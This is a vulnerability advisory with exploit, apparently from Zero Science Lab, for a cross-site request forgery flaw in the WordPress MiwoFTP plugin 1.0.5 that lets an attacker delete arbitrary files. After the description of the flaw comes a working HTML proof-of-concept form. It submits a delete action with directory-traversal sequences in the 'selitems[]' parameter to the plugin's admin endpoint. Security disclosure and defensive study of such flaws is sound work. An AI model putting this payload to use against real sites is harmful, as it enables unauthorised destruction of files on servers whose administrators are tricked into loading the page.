WordPress MiwoFTP plugin version 1.0.5 cross site request forgery arbitrary file deletion exploit.
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WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Deletion Exploit
Vendor: Miwisoft LLC
Product web page: http://www.miwisoft.com
Affected version: 1.0.5
Summary: MiwoFTP is a smart, fast and lightweight file manager
plugin that operates from the back-end of WordPress.
Desc: Input passed to the 'selitems[]' parameter is not properly
sanitised before being used to delete files. This can be exploited
to delete files with the permissions of the web server using directory
traversal sequences passed within the affected POST parameter.
Tested on: Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5240
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5240.php
Vendor: http://miwisoft.com/wordpress-plugins/miwoftp-wordpress-file-manager#changelog
24.03.2015
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<html>
<body>
<form action="http://localhost/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=post" method="POST">
<input type="hidden" name="do_action" value="delete" />
<input type="hidden" name="first" value="y" />
<input type="hidden" name="selitems[]" value="../../../../../pls_mr_jailer_dont_deleteme.txt" />
<input type="submit" value="Gently" />
</form>
</body>
</html>
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